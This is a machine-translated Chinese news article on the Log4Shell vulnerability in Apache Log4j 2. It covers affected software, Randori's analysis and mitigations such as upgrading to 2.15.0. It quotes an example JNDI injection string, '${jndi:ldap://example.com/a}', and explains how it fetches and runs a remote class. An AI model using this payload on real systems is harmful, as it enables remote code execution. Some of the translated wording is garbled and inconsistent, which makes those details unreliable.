Log4Shell,Apache Log4j 2 中的一個嚴重漏洞,影響了許多 Java 項目

最近的e 發布消息,Apache Log4j 2 發現嚴重漏洞,它的特點是在 Java 應用程序中組織註冊表的流行框架,允許在將特殊格式的值以“{jndi: URL}”格式寫入註冊表時執行任意代碼。

脆弱性 值得注意的是,攻擊可以在 Java 應用程序中進行它們記錄從外部來源獲得的值,例如通過在錯誤消息中顯示有問題的值。

據觀察, 幾乎所有使用 Apache Struts、Apache Solr、Apache Druid 或 Apache Flink 等框架的項目都受到影響, 包括 Steam、Apple iCloud、Minecraft 客戶端和服務器。

該漏洞預計將引發一波針對企業應用的大規模攻擊浪潮,重演框架 Apache Struts 中關鍵漏洞的歷史,粗略估計有 65% 的財富 100 強 Web 應用使用了該公司的 Web 應用列表包括已經記錄的掃描網絡易受攻擊系統的嘗試。

該漏洞允許遠程執行未經身份驗證的代碼。 Log4j 2 是由 Apache 基金會開發的開源 Java 日誌庫。 Log4j 2 廣泛用於許多應用程序,並作為依賴項存在於許多服務中。 其中包括業務應用程序以及眾多雲服務。

Randori 攻擊團隊開發了一個功能性漏洞,並且能夠在客戶環境中成功利用此漏洞作為我們攻擊性安全平台的一部分。 

可以通過多種特定於應用程序的方法訪問該漏洞。 實際上,任何允許遠程連接提供使用 Log4j 庫的應用程序寫入日誌文件的任意數據的場景都容易被利用。 此漏洞極有可能在野外被利用,並可能影響數千個組織。 此漏洞對受影響的系統構成重大的實際風險。

由於功能漏洞已經發布,例如,問題變得更加複雜。但是尚未生成穩定分支的修復程序。 尚未分配 CVE 標識符。 該解決方案僅包含在 log4j-2.15.0-rc1 測試分支中。 作為阻止漏洞的變通方法,建議將 Log4j2.formatMsgNoLookups 參數設置為 true。

問題 這是因為 Log4j 2 支持在日誌行中處理特殊掩碼«{}»,其中 可以運行 JNDI 查詢 (Java 命名和目錄接口)。

在分析 CVE-2021-44228 時,Randori 確定了以下內容:

廣泛使用的商業軟件的默認安裝很容易受到攻擊。
該漏洞可以被可靠地利用而無需身份驗證。
該漏洞影響多個版本的 Log4j 2。
當用戶使用庫運行應用程序時,該漏洞允許遠程執行代碼。

攻擊歸結為傳遞帶有替換“$ {jndi: ldap: //example.com/a}”的字符串,處理Log4j 2 將向attacker.com 服務器發送一個LDAP 請求,請求Java 類的路徑. 攻擊者服務器返回的路徑(例如http://example.com/Exploit.class)會在當前進程的上下文中加載並執行,從而允許攻擊者在具有權限的系統上實現任意代碼執行當前應用程序的。

最後,提到 如果發現異常,建議您假設這是一個活躍的事件,它已被破壞,並做出相應的響應。 升級到 Log4j 2 或受影響應用程序的修補版本將消除此漏洞。 Randori 建議任何認為可能受到影響的組織緊急升級到修補版本。

在 Apache Log4j 團隊的最新更新中, 建議組織執行以下操作

  • 更新到 Log4j 2.15.0
  • 對於無法升級到 2.15.0 的用戶:在版本> = 2.10 中,可以通過將 log4j2.formatMsgNoLookup 系統屬性或 LOG4J_FORMAT_MSG_NO_LOOKUPS 環境變量設置為 true 來緩解此漏洞。
  • 對於 2,0-beta9 到 2.10.0 版本,緩解措施是從類路徑中刪除 JndiLookup 類:zip -q -d log4j-core - *.Jar org/apache/logging/log4j/core/lookup/JndiLookup.class。

來源: https://www.lunasec.io/


發表您的評論

您的電子郵件地址將不會被發表。 必填字段標有 *

*

*

  1. 負責數據:MiguelÁngelGatón
  2. 數據用途:控制垃圾郵件,註釋管理。
  3. 合法性:您的同意
  4. 數據通訊:除非有法律義務,否則不會將數據傳達給第三方。
  5. 數據存儲:Occentus Networks(EU)託管的數據庫
  6. 權利:您可以隨時限制,恢復和刪除您的信息。